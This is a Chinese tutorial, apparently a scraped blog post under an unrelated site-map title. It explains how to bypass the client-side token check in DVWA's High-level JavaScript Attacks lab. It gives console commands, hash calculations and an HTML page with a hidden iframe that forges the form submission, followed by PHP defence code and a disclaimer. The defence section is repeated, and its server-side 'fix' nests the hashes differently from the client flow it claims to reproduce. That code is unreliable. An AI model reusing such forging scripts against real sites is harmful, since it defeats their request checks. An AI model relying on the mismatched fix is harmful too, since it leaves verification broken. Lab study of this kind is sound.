怎么生成網(wǎng)站地圖5118素材網(wǎng)站
本文僅用于技術(shù)研究,禁止用于非法用途。
Author:枷鎖
文章目錄
- 漏洞核心原理分析
- Token生成流程(還原后)
- 完整Token生成路徑
- 逐步攻擊教程
- 方法一:控制臺(tái)手動(dòng)執(zhí)行
- 方法二:分步計(jì)算Token值
- 方法三:自動(dòng)化攻擊腳本
- 技術(shù)原理詳解
- 防御措施與修復(fù)建議
- 防御措施與修復(fù)方案
- 1. 根本漏洞原因
- 2. 安全方案
- 各安全級(jí)別防御對(duì)比
本文環(huán)境Security Level:High
以下是針對(duì)DVWA(Damn Vulnerable Web Application)中 JavaScript Attacks模塊High級(jí)別的詳細(xì)漏洞分析與利用教程,結(jié)合多篇技術(shù)資料整理而成。
漏洞核心原理分析
在High級(jí)別中,DVWA使用了高度混淆的JavaScript代碼和多級(jí)SHA256哈希驗(yàn)證機(jī)制,但關(guān)鍵漏洞依然是客戶端驗(yàn)證。攻擊者可以通過分析混淆代碼,理解Token生成流程,從而繞過驗(yàn)證機(jī)制。
Token生成流程(還原后)
// 1. 字符串反轉(zhuǎn)函數(shù)
function do_something(e) {for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];return t;
}// 2. 第一階段Token處理
function token_part_1(a, b) {document.getElementById("token").value = do_something(document.getElementById("phrase").value);
}// 3. 第二階段Token處理(300ms后執(zhí)行)
function token_part_2(e = "XX") {document.getElementById("token").value = sha256(e + document.getElementById("token").value);
}// 4. 第三階段Token處理(點(diǎn)擊提交時(shí)執(zhí)行)
function token_part_3(t, y = "ZZ") {document.getElementById("token").value = sha256(document.getElementById("token").value + y);
}// 初始化流程
document.getElementById("phrase").value = "";
token_part_1("ABCD", 44); // 立即執(zhí)行
setTimeout(() => token_part_2("XX"), 300); // 300ms后執(zhí)行
document.getElementById("send").addEventListener("click", token_part_3); // 點(diǎn)擊時(shí)執(zhí)行
完整Token生成路徑
- 用戶輸入短語(如"success")
token_part_1
執(zhí)行:反轉(zhuǎn)字符串(“success” → “sseccus”)token_part_2
執(zhí)行(300ms后):添加"XX"前綴并SHA256哈希(“XXsseccus” → SHA256)- 點(diǎn)擊提交時(shí)
token_part_3
執(zhí)行:添加"ZZ"后綴并再次SHA256哈希(SHA256結(jié)果 + “ZZ” → 最終Token)
逐步攻擊教程
方法一:控制臺(tái)手動(dòng)執(zhí)行
-
訪問DVWA頁面:登錄DVWA,安全級(jí)別設(shè)為High,進(jìn)入JavaScript Attacks模塊
-
打開開發(fā)者工具:按F12或右鍵 → 檢查 → Console標(biāo)簽
-
執(zhí)行以下代碼:
// 1. 設(shè)置短語
document.getElementById("phrase").value = "success";// 2. 執(zhí)行第一階段:反轉(zhuǎn)字符串
token_part_1("ABCD", 44); // 此時(shí)token變?yōu)?#34;sseccus"// 3. 執(zhí)行第二階段:添加"XX"前綴并SHA256
token_part_2("XX"); // 生成中間哈希值// 4. 執(zhí)行第三階段:添加"ZZ"后綴并SHA256
token_part_3("", "ZZ"); // 生成最終Token// 5. 提交表單
document.forms[0].submit();
方法二:分步計(jì)算Token值
-
計(jì)算第一步:反轉(zhuǎn)字符串
const phrase = "success"; const reversed = phrase.split('').reverse().join(''); // "sseccus"
-
計(jì)算第二步:第一次SHA256
// 使用在線SHA256工具或控制臺(tái)計(jì)算 const step1 = "XX" + reversed; // "XXsseccus" const hash1 = sha256(step1); // 示例:7f1bfaaf829f785ba5801d5bf68c1ecaf95ce04545462c8b8f311dfc9014068a
-
計(jì)算第三步:第二次SHA256
const step2 = hash1 + "ZZ"; const finalToken = sha256(step2); // 示例:28638d855bc00d62b33f9643eab3e43d8335ab2b308039abd8fb8bef86331b14
-
手動(dòng)提交:
- Phrase輸入框:
success
- Token輸入框:填入上面計(jì)算的
finalToken
- 點(diǎn)擊Submit按鈕
- Phrase輸入框:
方法三:自動(dòng)化攻擊腳本
<!DOCTYPE html>
<html>
<body>
<script>
function attackDVWA() {// 1. 創(chuàng)建隱藏iframe訪問目標(biāo)頁面const iframe = document.createElement('iframe');iframe.style.display = 'none';document.body.appendChild(iframe);iframe.onload = function() {const doc = iframe.contentDocument;// 2. 設(shè)置目標(biāo)短語doc.getElementById("phrase").value = "success";// 3. 獲取并執(zhí)行原始腳本const scripts = doc.getElementsByTagName('script');for (let script of scripts) {if (script.src.includes('high.js')) {// 4. 直接調(diào)用混淆函數(shù)const newScript = doc.createElement('script');newScript.textContent = `token_part_1("ABCD", 44);token_part_2("XX");token_part_3("", "ZZ");document.forms[0].submit();`;doc.body.appendChild(newScript);break;}}};// 5. 設(shè)置目標(biāo)URL(需先登錄DVWA)iframe.src = 'http://localhost/dvwa/vulnerabilities/javascript/';
}// 執(zhí)行攻擊
attackDVWA();
</script>
</body>
</html>
技術(shù)原理詳解
-
混淆代碼還原:
- 使用在線工具如http://deobfuscatejavascript.com/還原代碼
- 關(guān)鍵識(shí)別點(diǎn):
setTimeout
和addEventListener
調(diào)用順序
-
SHA256哈希機(jī)制:
// 典型SHA256實(shí)現(xiàn)結(jié)構(gòu) function sha256(input) {// 初始化哈希常量const K = [0x428a2f98, 0x71374491, ...];// 消息填充和分塊處理// 多輪壓縮函數(shù)運(yùn)算// 返回十六進(jìn)制哈希值 }
兩次哈希增加復(fù)雜度但仍在客戶端進(jìn)行
-
時(shí)序攻擊關(guān)鍵:
token_part_2
的300ms延遲必須等待token_part_3
綁定在點(diǎn)擊事件上- 執(zhí)行順序:part1 → part2 → (點(diǎn)擊) part3
防御措施與修復(fù)建議
- 服務(wù)端驗(yàn)證:
// 服務(wù)器端驗(yàn)證示例
session_start();
$validToken = hash('sha256', hash('sha256', "XX".strrev($_SESSION['secret'])."ZZ"));if ($_POST['token'] !== $validToken || $_POST['phrase'] !== "success") {die("Invalid request!");
}
-
增強(qiáng)防護(hù)機(jī)制:
- 使用HMAC-SHA256替代純SHA256
- 添加時(shí)間戳和一次性隨機(jī)數(shù)(nonce)
- 實(shí)施CSRF令牌保護(hù)
-
混淆技術(shù)的局限性:
- 混淆不能替代服務(wù)器驗(yàn)證
- 客戶端代碼永遠(yuǎn)不可信
- 最小化客戶端敏感邏輯
通過本教程,您已掌握DVWA High級(jí)別JavaScript攻擊的核心技術(shù)。關(guān)鍵要點(diǎn)是:無論客戶端如何混淆加密,只要驗(yàn)證邏輯在客戶端執(zhí)行,就存在被繞過的風(fēng)險(xiǎn)。實(shí)際應(yīng)用中務(wù)必在服務(wù)端完成最終驗(yàn)證。
: 展示了HMAC-SHA256的應(yīng)用實(shí)例,說明單純SHA256的不足
: 提供了DVWA各難度級(jí)別的對(duì)比分析,包括High級(jí)別的混淆技術(shù)
: 詳細(xì)解釋了SHA256的JavaScript實(shí)現(xiàn)原理
防御措施與修復(fù)方案
1. 根本漏洞原因
- 客戶端Token生成:所有加密邏輯在瀏覽器端完成,攻擊者可完全控制流程。
- 混淆非加密:混淆(Obfuscation)僅增加閱讀難度,無法替代服務(wù)端驗(yàn)證。
2. 安全方案
<?php
// 服務(wù)端Token驗(yàn)證示例(Impossible級(jí)別思路)
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {$expectedToken = hash('sha256', hash('sha256', "XX" . strrev($_SESSION['secret']) . "ZZ"));if ($_POST['token'] !== $expectedToken || $_POST['phrase'] !== "success") {die("Invalid token!");}echo "Success!";
}
?>
關(guān)鍵改進(jìn):
- 服務(wù)端生成Token:基于會(huì)話密鑰動(dòng)態(tài)計(jì)算,避免客戶端暴露邏輯。
- 一次性Token:每次請(qǐng)求更新會(huì)話密鑰,防止重放攻擊。
各安全級(jí)別防御對(duì)比
安全級(jí)別 | Token生成位置 | 加密邏輯 | 繞過難度 |
---|---|---|---|
Low | 客戶端 | 無加密(ROT13+MD5) | ? |
Medium | 客戶端 | 字符串反轉(zhuǎn) | ?? |
High | 客戶端 | SHA256混淆 | ??? |
Impossible | 服務(wù)端 | 動(dòng)態(tài)密鑰+多次哈希 | 無法繞過 |
總結(jié):High級(jí)別的混淆雖增加分析成本,但未解決核心問題——信任客戶端輸入。安全設(shè)計(jì)的核心原則是:關(guān)鍵邏輯必須在服務(wù)端實(shí)現(xiàn),且需結(jié)合會(huì)話隔離與動(dòng)態(tài)密鑰。建議在實(shí)戰(zhàn)中參考Impossible級(jí)別的服務(wù)端驗(yàn)證模型。
宇宙級(jí)免責(zé)聲明??
🚨 重要聲明:本文僅供合法授權(quán)下的安全研究與教育目的!🚨
1.合法授權(quán):本文所述技術(shù)僅適用于已獲得明確書面授權(quán)的目標(biāo)或自己的靶場(chǎng)內(nèi)系統(tǒng)。未經(jīng)授權(quán)的滲透測(cè)試、漏洞掃描或暴力破解行為均屬違法,可能導(dǎo)致法律后果(包括但不限于刑事指控、民事訴訟及巨額賠償)。
2.道德約束:黑客精神的核心是建設(shè)而非破壞。請(qǐng)確保你的行為符合道德規(guī)范,僅用于提升系統(tǒng)安全性,而非惡意入侵、數(shù)據(jù)竊取或服務(wù)干擾。
3.風(fēng)險(xiǎn)自擔(dān):使用本文所述工具和技術(shù)時(shí),你需自行承擔(dān)所有風(fēng)險(xiǎn)。作者及發(fā)布平臺(tái)不對(duì)任何濫用、誤用或由此引發(fā)的法律問題負(fù)責(zé)。
4.合規(guī)性:確保你的測(cè)試符合當(dāng)?shù)丶皣H法律法規(guī)(如《計(jì)算機(jī)欺詐與濫用法案》(CFAA)、《通用數(shù)據(jù)保護(hù)條例》(GDPR)等)。必要時(shí),咨詢法律顧問。
5.最小影響原則:測(cè)試過程中應(yīng)避免對(duì)目標(biāo)系統(tǒng)造成破壞或服務(wù)中斷。建議在非生產(chǎn)環(huán)境或沙箱環(huán)境中進(jìn)行演練。
6.數(shù)據(jù)保護(hù):不得訪問、存儲(chǔ)或泄露任何未授權(quán)的用戶數(shù)據(jù)。如意外獲取敏感信息,應(yīng)立即報(bào)告相關(guān)方并刪除。
7.免責(zé)范圍:作者、平臺(tái)及關(guān)聯(lián)方明確拒絕承擔(dān)因讀者行為導(dǎo)致的任何直接、間接、附帶或懲罰性損害責(zé)任。
🔐 安全研究的正確姿勢(shì):
? 先授權(quán),再測(cè)試
? 只針對(duì)自己擁有或有權(quán)測(cè)試的系統(tǒng)
? 發(fā)現(xiàn)漏洞后,及時(shí)報(bào)告并協(xié)助修復(fù)
? 尊重隱私,不越界
?? 警告:技術(shù)無善惡,人心有黑白。請(qǐng)明智選擇你的道路。
希望這個(gè)教程對(duì)你有所幫助!記得負(fù)責(zé)任地進(jìn)行安全測(cè)試。